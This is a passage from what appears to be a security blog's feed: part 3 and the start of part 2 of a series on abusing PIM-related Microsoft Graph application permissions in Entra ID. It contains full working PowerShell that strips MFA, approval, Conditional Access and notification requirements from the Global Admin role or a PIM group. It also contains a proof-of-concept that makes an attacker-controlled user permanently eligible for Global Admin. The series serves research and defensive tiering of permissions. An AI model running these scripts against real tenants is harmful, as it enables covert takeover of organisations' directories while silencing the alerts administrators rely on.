&lt;p&gt;As stated in the documentation, each Entra role and user group enrolled in PIM is governed with a dedicated “role management policy”, which is referred to as “Role settings” in the portal. A policy can be scoped to an Entra role, the owners, or the members of a user group. Note that the reason why &lt;em&gt;role&lt;/em&gt; management policies are used to govern PIM settings for groups, is that “Owner” and “Member” are technically roles within a group.&lt;/p&gt;

&lt;p&gt;A policy contains two sections with a dedicated set of rules each. The first section governs &lt;strong&gt;activation&lt;/strong&gt; settings, such as the length of the activation, or requirements needed for the activation to be successful. The second section rules &lt;strong&gt;assignment&lt;/strong&gt; settings, such as whether the role or group can be assigned permanently, or if administrators are required to re-authenticate with MFA when assigning them.&lt;/p&gt;

&lt;p&gt;Here is an example of the default PIM settings for the Global Admin role in Entra ID:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-3/01_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-3/01_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Here is an example of the default PIM settings for the “member” role of a user group called “Group of people”:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-3/02_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-3/02_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Unless that was not clear, note that PIM-setting options are identical for Entra roles and user groups.&lt;/p&gt;

&lt;h3 id=&quot;understanding-possible-security-gates&quot;&gt;Understanding possible security gates&lt;/h3&gt;

&lt;p&gt;PIM settings offer a variety of configurations, of which not all are security gates and potential blockers for privilege escalation. For example, justification and ticket information requirements are not security gates, as they simply expect to provide information, but do not prevent assignments or activations.
The only real security gates are the following requirement options:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Require Azure Multi-Factor Authentication (MFA)&lt;/li&gt;
  &lt;li&gt;Require approval&lt;/li&gt;
  &lt;li&gt;Require Conditional Access authentication context&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Those security gates can be applied in the following situations:&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt; &lt;/th&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;Require MFA&lt;/th&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;Require approval&lt;/th&gt;
      &lt;th style=&quot;text-align: center&quot;&gt;Require conditional access&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;Role activation&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;X&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;X&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;X&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Group-membership activation&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;X&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;X&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;X&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Active role assignment&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;X&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt; &lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt; &lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;Active group assignment&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt;X&lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt; &lt;/td&gt;
      &lt;td style=&quot;text-align: center&quot;&gt; &lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;In a default tenant with no extra configuration, highly-sensitive roles such as Global Admin require MFA on activation, while user groups enrolled in PIM do not require anything besides justification (see the last 2 screenshots above for visual examples).&lt;/p&gt;

&lt;h2 id=&quot;disabling-assignment-eligibility-and-activation-requirements-for-a-role&quot;&gt;Disabling assignment, eligibility and activation requirements for a &lt;u&gt;role&lt;/u&gt;&lt;/h2&gt;

&lt;p&gt;In the &lt;a href=&quot;#overview-of-the-series&quot;&gt;previous parts&lt;/a&gt; of this series, we discussed how the &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#roleassignmentschedulereadwritedirectory&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleAssignmentSchedule.ReadWrite.Directory&lt;/code&gt;&lt;/a&gt; and  &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#roleeligibilityschedulereadwritedirectory&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleEligibilitySchedule.ReadWrite.Directory&lt;/code&gt;&lt;/a&gt; permissions can be abused to escalate to Global Admin via active and eligible &lt;strong&gt;role assignments&lt;/strong&gt; respectively.&lt;/p&gt;

&lt;p&gt;In scenarios where a targeted Entra role is governed by a strict role management policy, the discussed privilege escalations might not be possible. For example, let’s imagine we are targeting the Global Admin role, which requires to following:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;MFA for active role assignments&lt;/li&gt;
  &lt;li&gt;MFA and administrator approval for eligible role activation&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;In order to abuse the discussed permissions, they will have to be combined with the &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#rolemanagementpolicyreadwritedirectory&quot;&gt;&lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleManagementPolicy.ReadWrite.Directory&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt; permission, which allows to update all aspects of PIM role settings. Note that this new permission can come from the same service principal as the one we assumed compromised in &lt;a href=&quot;#overview-of-the-series&quot;&gt;previous&lt;/a&gt; attack scenarios, or by compromising another one.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-3/03_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-3/03_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The following PowerShell code demonstrates how to leverage the &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#rolemanagementpolicyreadwritedirectory&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleManagementPolicy.ReadWrite.Directory&lt;/code&gt;&lt;/a&gt; permission to disable &lt;em&gt;all&lt;/em&gt; role requirements one by one, including notification alerts:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$tid = &apos;&apos;
$appid = &apos;&apos;
$password = &apos;&apos;

# Acquire MS Graph access token
$securePassword = ConvertTo-SecureString -String $password -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $appId, $securePassword
Connect-AzAccount -ServicePrincipal -TenantId $tid -Credential $credential
$token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token

# Get role management policy Id for the Entra role
$roleDefinitionId = &apos;62e90394-69f5-4237-9190-012177145e10&apos; # current: Global Admin (replace with any role Id)
$rolePolicyId = &apos;&apos;

$uri = &quot;https://graph.microsoft.com/beta/policies/roleManagementPolicyAssignments?`$filter=scopeId%20eq%20&apos;/&apos;%20and%20scopeType%20eq%20&apos;DirectoryRole&apos;&quot;
$headers = @{
    &apos;Authorization&apos;= &quot;Bearer $token&quot;
    &apos;Content-Type&apos; = &apos;application/json&apos;
}
$response = (Invoke-WebRequest -Method Get -Uri $uri -Headers $headers).Content | ConvertFrom-Json

foreach ($item in $response.value) {
    if ($item.roleDefinitionId -eq $roleDefinitionId) {
        $rolePolicyId = $item.policyId
        break
    }
}

#########################################################
# Disable all activation rules in the management policy #
#########################################################
# Disable activation duration
$uri = &quot;https://graph.microsoft.com/beta/policies/roleManagementPolicies/$rolePolicyId/rules/Expiration_EndUser_Assignment&quot;
$headers = @{
    &apos;Authorization&apos;= &quot;Bearer $token&quot;
    &apos;Content-Type&apos; = &apos;application/json&apos;
}
$ruleDisabling = @{
    &apos;@odata.type&apos; = &apos;#microsoft.graph.unifiedRoleManagementPolicyExpirationRule&apos;
    maximumDuration = &apos;P365D&apos;
}
$body = ConvertTo-Json -InputObject $ruleDisabling
$response = Invoke-RestMethod -Method Patch -Uri $uri -Headers $headers -Body $body
$response

# Disable activation requirements: MFA, justification, ticket information
$uri = &quot;https://graph.microsoft.com/beta/policies/roleManagementPolicies/$rolePolicyId/rules/Enablement_EndUser_Assignment&quot;
$headers = @{
    &apos;Authorization&apos;= &quot;Bearer $token&quot;
    &apos;Content-Type&apos; = &apos;application/json&apos;
}
$ruleDisabling = @{
    &apos;@odata.type&apos; = &apos;#microsoft.graph.unifiedRoleManagementPolicyEnablementRule&apos;
    id = &apos;Enablement_EndUser_Assignment&apos;
    enabledRules = @()
}
$body = ConvertTo-Json -InputObject $ruleDisabling
$response = Invoke-RestMethod -Method Patch -Uri $uri -Headers $headers -Body $body
$response

# Disable activation requirement: Conditional Access authentication context
$uri = &quot;https://graph.microsoft.com/beta/policies/roleManagementPolicies/$rolePolicyId/rules/AuthenticationContext_EndUser_Assignment&quot;
$headers = @{
    &apos;Authorization&apos;= &quot;Bearer $token&quot;
    &apos;Content-Type&apos; = &apos;application/json&apos;
}
$ruleDisabling = @{
    &apos;@odata.type&apos; = &apos;#microsoft.graph.unifiedRoleManagementPolicyAuthenticationContextRule&apos;
    isEnabled = $false
}
$body = ConvertTo-Json -InputObject $ruleDisabling
$response = Invoke-RestMethod -Method Patch -Uri $uri -Headers $headers -Body $body
$response

# Disable activation requirement: admin approval
$uri = &quot;https://graph.microsoft.com/beta/policies/roleManagementPolicies/$rolePolicyId/rules/Approval_EndUser_Assignment&quot;
$headers = @{
    &apos;Authorization&apos;= &quot;Bearer $token&quot;
    &apos;Content-Type&apos; = &apos;application/json&apos;
}
$ruleDisabling = @{
    &apos;@odata.type&apos; = &apos;#microsoft.graph.unifiedRoleManagementPolicyApprovalRule&apos;
    id = &apos;Approval_EndUser_Assignment&apos;
    setting = @{
        &apos;@odata.type&apos; = &apos;#microsoft.graph.approvalSettings&apos;
        isApprovalRequired = $false
        isApprovalRequiredForExtension = $false
        isRequestorJustificationRequired = $false
        approvalMode = &apos;NoApproval&apos;
        approvalStages = @(
            @{
                approvalStageTimeOutInDays = 1
                isApproverJustificationRequired = $false
                escalationTimeInMinutes = 0
                primaryApprovers = @()
                isEscalationEnabled = $false
                escalationApprovers = @()
            }
        )
    }
}
$body = ConvertTo-Json -InputObject $ruleDisabling -Depth 4
$response = Invoke-RestMethod -Method Patch -Uri $uri -Headers $headers -Body $body
$response

#########################################################
# Disable all assignment rules in the management policy #
#########################################################
# Disable temporary eligible assignment (allow permanent eligible assignment)
$uri = &quot;https://graph.microsoft.com/beta/policies/roleManagementPolicies/$rolePolicyId/rules/Expiration_Admin_Eligibility&quot;
$headers = @{
    &apos;Authorization&apos;= &quot;Bearer $token&quot;
    &apos;Content-Type&apos; = &apos;application/json&apos;
}
$ruleDisabling = @{
    &apos;@odata.type&apos; = &apos;#microsoft.graph.unifiedRoleManagementPolicyExpirationRule&apos;
    isExpirationRequired = $false
}
$body = ConvertTo-Json -InputObject $ruleDisabling
$response = Invoke-RestMethod -Method Patch -Uri $uri -Headers $headers -Body $body
$response

# Disable temporary active assignment (allow permanent active assignment)
$uri = &quot;https://graph.microsoft.com/beta/policies/roleManagementPolicies/$rolePolicyId/rules/Expiration_Admin_Assignment&quot;
$headers = @{
    &apos;Authorization&apos;= &quot;Bearer $token&quot;
    &apos;Content-Type&apos; = &apos;application/json&apos;
}
$ruleDisabling = @{
    &apos;@odata.type&apos; = &apos;#microsoft.graph.unifiedRoleManagementPolicyExpirationRule&apos;
    isExpirationRequired = $false
}
$body = ConvertTo-Json -InputObject $ruleDisabling
$response = Invoke-RestMethod -Method Patch -Uri $uri -Headers $headers -Body $body
$response

# Disable assignment requirements: MFA, justification
$uri = &quot;https://graph.microsoft.com/beta/policies/roleManagementPolicies/$rolePolicyId/rules/Enablement_Admin_Assignment&quot;
$headers = @{
    &apos;Authorization&apos;= &quot;Bearer $token&quot;
    &apos;Content-Type&apos; = &apos;application/json&apos;
}
$ruleDisabling = @{
    &apos;@odata.type&apos; = &apos;#microsoft.graph.unifiedRoleManagementPolicyEnablementRule&apos;
    id = &apos;Enablement_Admin_Assignment&apos;
    enabledRules = @()
}
$body = ConvertTo-Json -InputObject $ruleDisabling
$response = Invoke-RestMethod -Method Patch -Uri $uri -Headers $headers -Body $body
$response

###########################################################
# Disable all notification rules in the management policy #
###########################################################
# More info: https://learn.microsoft.com/en-us/graph/identity-governance-pim-rules-overview#notification-rules
$msgraphRulesAndCallers = @{
    &apos;Notification_Admin_Admin_Eligibility&apos; = &apos;Admin&apos;
    &apos;Notification_Requestor_Admin_Eligibility&apos; = &apos;Requestor&apos;
    &apos;Notification_Approver_Admin_Eligibility&apos; = &apos;Approver&apos;
    &apos;Notification_Admin_Admin_Assignment&apos; = &apos;Admin&apos;
    &apos;Notification_Requestor_Admin_Assignment&apos; = &apos;Requestor&apos;
    &apos;Notification_Approver_Admin_Assignment&apos; = &apos;Approver&apos;
    &apos;Notification_Admin_EndUser_Assignment&apos; = &apos;Admin&apos;
    &apos;Notification_Requestor_EndUser_Assignment&apos; = &apos;Requestor&apos;
    &apos;Notification_Approver_EndUser_Assignment&apos; = &apos;Approver&apos;
}

foreach ($item in $msgraphRulesAndCallers.GetEnumerator()){
    $uri = &quot;https://graph.microsoft.com/beta/policies/roleManagementPolicies/$rolePolicyId/rules/$($item.Name)&quot;
    $headers = @{
        &apos;Authorization&apos;= &quot;Bearer $token&quot;
        &apos;Content-Type&apos; = &apos;application/json&apos;
    }
    $ruleDisabling = @{
        &apos;@odata.type&apos; = &apos;#microsoft.graph.unifiedRoleManagementPolicyNotificationRule&apos;
        id = &quot;$($item.Name)&quot;
        notificationType = &apos;Email&apos;
        notificationLevel = &apos;None&apos;
        isDefaultRecipientsEnabled = $false
        notificationRecipients = @()
        recipientType = &quot;$($item.Value)&quot;
    }
    $body = ConvertTo-Json -InputObject $ruleDisabling
    $response = Invoke-RestMethod -Method Patch -Uri $uri -Headers $headers -Body $body
    $response
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Executing the above PowerShell code for an Entra role with strict requirements (i.e. enforcing literally everything) shows how the &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#rolemanagementpolicyreadwritedirectory&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleManagementPolicy.ReadWrite.Directory&lt;/code&gt;&lt;/a&gt; permission can be leveraged to disable all activation, assignment and even notification constrains for the role:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-3/04_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-3/04_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;disabling-assignment-eligibility-and-activation-requirements-for-a-group&quot;&gt;Disabling assignment, eligibility and activation requirements for a &lt;u&gt;group&lt;/u&gt;&lt;/h2&gt;

&lt;p&gt;In the &lt;a href=&quot;#overview-of-the-series&quot;&gt;previous parts&lt;/a&gt; of this series, we discussed how the &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedaccessreadwriteazureadgroup&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedAccess.ReadWrite.AzureADGroup&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedassignmentschedulereadwriteazureadgroup&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedAssignmentSchedule.ReadWrite.AzureADGroup&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedeligibilityschedulereadwriteazureadgroup&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedEligibilitySchedule.ReadWrite.AzureADGroup&lt;/code&gt;&lt;/a&gt; permissions can be abused to escalate to Global Admin via active and eligible &lt;strong&gt;group assignments&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;In scenarios where a targeted group is governed by a strict role management policy, the discussed privilege escalations might not be possible, and will require to be combined with the &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#rolemanagementpolicyreadwriteazureadgroup&quot;&gt;&lt;strong&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleManagementPolicy.ReadWrite.AzureADGroup&lt;/code&gt;&lt;/strong&gt;&lt;/a&gt; permission, in order to be successful.&lt;/p&gt;

&lt;p&gt;Since role management policies are used to govern PIM settings for both roles and user groups, the procedure for disabling all rules in a PIM group is the same as for an Entra role. The only difference is the way the Id of the role management policy is acquired.&lt;/p&gt;

&lt;p&gt;The following PowerShell code shows how to retrieve that Id:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# Set SP info
$tid = &apos;&apos;
$appid = &apos;&apos;
$password = &apos;&apos;

# Set group info
$groupId = &apos;&apos;
$groupRole = &apos;member&apos;   # &apos;member&apos; or &apos;owner&apos;

# Acquire MS Graph access token
$securePassword = ConvertTo-SecureString -String $password -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $appId, $securePassword
Connect-AzAccount -ServicePrincipal -TenantId $tid -Credential $credential
$token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token

# Get role management policy Id for the group
$rolePolicyId = &apos;&apos;
$uri = &quot;https://graph.microsoft.com/beta/policies/roleManagementPolicyAssignments?`$filter=scopeId%20eq%20&apos;$($groupId)&apos;%20and%20scopeType%20eq%20&apos;Group&apos;&quot;
$headers = @{
    &apos;Authorization&apos;= &quot;Bearer $token&quot;
    &apos;Content-Type&apos; = &apos;application/json&apos;
}
$response = (Invoke-WebRequest -Method Get -Uri $uri -Headers $headers).Content | ConvertFrom-Json

foreach ($item in $response.value) {
    if ($item.roleDefinitionId -eq $groupRole) {
        $rolePolicyId = $item.policyId
        break
    }
}

# Disable code goes here
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;We have seen how the &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#rolemanagementpolicyreadwriteazureadgroup&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleManagementPolicy.ReadWrite.AzureADGroup&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#rolemanagementpolicyreadwritedirectory&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleManagementPolicy.ReadWrite.Directory&lt;/code&gt;&lt;/a&gt; permissions can help leveraging other Tier-0 permissions to enable paths to Global Admin, even in environments with strict PIM settings. Similar to those discussed in &lt;a href=&quot;#overview-of-the-series&quot;&gt;other parts&lt;/a&gt; of the series, these application permissions should be classified as Tier-0, due to their risk of enabling a path to Global Admin.&lt;/p&gt;

&lt;p&gt;In the last and final part of this series, we will discuss remaining application permissions and explore how they relate to older versions of the PIM service. Stay tuned for more 😉&lt;/p&gt;
</description>
          <pubDate>2024-07-31T00:00:00+00:00</pubDate>
          <link>https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-3/</link>
          <guid isPermaLink="true">https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-3/</guid>
        </item>
      
    
      
        <item>
          <title>Abusing PIM-related application permissions in Microsoft Graph - Part 2</title>
          <description>&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;In the &lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-1&quot;&gt;first part&lt;/a&gt; of this series, we discussed how permissions related to active assignments can be abused to escalate to Global Admin.
In this part, we will take a closer look at permissions related to eligible assignments, to see how they can be abused to achieve the same thing.&lt;/p&gt;

&lt;h3 id=&quot;overview-of-the-series&quot;&gt;Overview of the series&lt;/h3&gt;

&lt;p&gt;This series, which discusses the abuse of PIM-related application permissions in Microsoft Graph, is structured as follows:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-1&quot;&gt;&lt;strong&gt;Part 1&lt;/strong&gt;: Escalating to Global Admin via active assignments&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-2&quot;&gt;&lt;strong&gt;Part 2&lt;/strong&gt;: Escalating to Global Admin via eligible assignments&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-3&quot;&gt;&lt;strong&gt;Part 3&lt;/strong&gt;: Bypassing assignment, eligibility and activation requirements&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-4&quot;&gt;&lt;strong&gt;Part 4&lt;/strong&gt;: Investigating legacy permissions&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;what-permissions-are-addressed-in-this-post&quot;&gt;What permissions are addressed in this post?&lt;/h3&gt;

&lt;p&gt;This post discusses the following MS Graph application permissions:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#roleeligibilityschedulereadwritedirectory&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleEligibilitySchedule.ReadWrite.Directory&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#privilegedeligibilityschedulereadwriteazureadgroup&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PrivilegedEligibilitySchedule.ReadWrite.AzureADGroup&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt; &lt;/p&gt;
&lt;h2 id=&quot;privilege-escalation-via-pim-role-eligibility-and-activation&quot;&gt;Privilege escalation via PIM role eligibility and activation&lt;/h2&gt;

&lt;h3 id=&quot;overview-of-abuse-information&quot;&gt;Overview of abuse information&lt;/h3&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Abused application permission&lt;/th&gt;
      &lt;th&gt;Path type&lt;/th&gt;
      &lt;th&gt;Known shortest path&lt;/th&gt;
      &lt;th&gt;Example&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#roleeligibilityschedulereadwritedirectory&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleEligibilitySchedule.ReadWrite.Directory&lt;/code&gt;&lt;/a&gt;&lt;/td&gt;
      &lt;td&gt;Indirect&lt;/td&gt;
      &lt;td&gt;Can become eligible and activate the Global Admin role.&lt;/td&gt;
      &lt;td&gt;TA makes a controlled user account eligible to the Global Admin role, and activates it to escalate to Global Admin. &lt;br /&gt; Note: if the eligibility assignment or role activation requires to meet specific requirements such as admin approval, this path needs to be combined with the &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#rolemanagementpolicyreadwritedirectory&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleManagementPolicy.ReadWrite.Directory&lt;/code&gt;&lt;/a&gt; permission to be successful (see &lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-3&quot;&gt;Part 3&lt;/a&gt; of the series for more info).&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&quot;attack-path-visualization&quot;&gt;Attack path visualization&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-2/01_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-2/01_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&quot;proof-of-concept&quot;&gt;Proof of Concept&lt;/h3&gt;

&lt;p&gt;We will assume that we are in a scenario where we have compromised a service principal with the &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#roleeligibilityschedulereadwritedirectory&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleEligibilitySchedule.ReadWrite.Directory&lt;/code&gt;&lt;/a&gt; permission, and where we control an unprivileged user account with no Entra role assignment:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-2/02_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-2/02_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-2/03_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-2/03_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The PowerShell code to leverage the compromised “Harmless app” and make our “Harmless user account” eligible to the Global Admin role is as follows:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;## Set SP info
$tid = &apos;&apos;
$appid = &apos;&apos;
$password = &apos;&apos;

# Set user info
$userId = &apos;&apos;

# Acquire MS Graph access token
$securePassword = ConvertTo-SecureString -String $password -AsPlainText -Force
$credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList $appId, $securePassword
Connect-AzAccount -ServicePrincipal -TenantId $tid -Credential $credential
$token = (Get-AzAccessToken -ResourceTypeName MSGraph).Token

# Request PIM role eligibility
$roleDefinitionId = &apos;62e90394-69f5-4237-9190-012177145e10&apos; # current: Global Admin (replace with any role Id)
$yesterday = (get-date).AddDays(-1).ToString(&quot;yyyy-MM-ddTHH:mm:ss.000Z&quot;)

$uri = &apos;https://graph.microsoft.com/beta/roleManagement/directory/roleEligibilityScheduleRequests&apos;
$headers = @{
    &apos;Authorization&apos;= &quot;Bearer $token&quot;
    &apos;Content-Type&apos; = &apos;application/json&apos;
}

$eligibleAssignment = @{
    action = &apos;adminAssign&apos;
    justification = &apos;PoC&apos;
    roleDefinitionId = $roleDefinitionId
    directoryScopeId = &apos;/&apos;
    principalId = $userId
    scheduleInfo = @{
        startDateTime = $yesterday
        expiration = @{
            type = &apos;NoExpiration&apos;
        }
    }
}

$body = ConvertTo-Json -InputObject $eligibleAssignment
$response = Invoke-WebRequest -Method Post -Uri $uri -Headers $headers -Body $body
$response
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;By executing the above PowerShell script, we can confirm that the &lt;a href=&quot;https://learn.microsoft.com/en-us/graph/permissions-reference#roleeligibilityschedulereadwritedirectory&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RoleEligibilitySchedule.ReadWrite.Directory&lt;/code&gt;&lt;/a&gt; permission can be leveraged to make a controlled user account eligible to the Global Admin role:&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-2/04_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-2/04_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-2/06_screenshot.png&quot;&gt;&lt;img src=&quot;/assets/images/blog/2024-07-31-abusing-pim-related-application-permissions-part-2/05_screenshot.png&quot; alt=&quot;&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The next step is to log in with the user account and activate the role to become an active Global Admin (&lt;a href=&quot;https://www.emiliensocchi.io/abusing-pim-related-application-permissions-in-microsoft-graph-part-3&quot;&gt;what if the activation requires admin approval?&lt;/a&gt;):&lt;/p&gt;

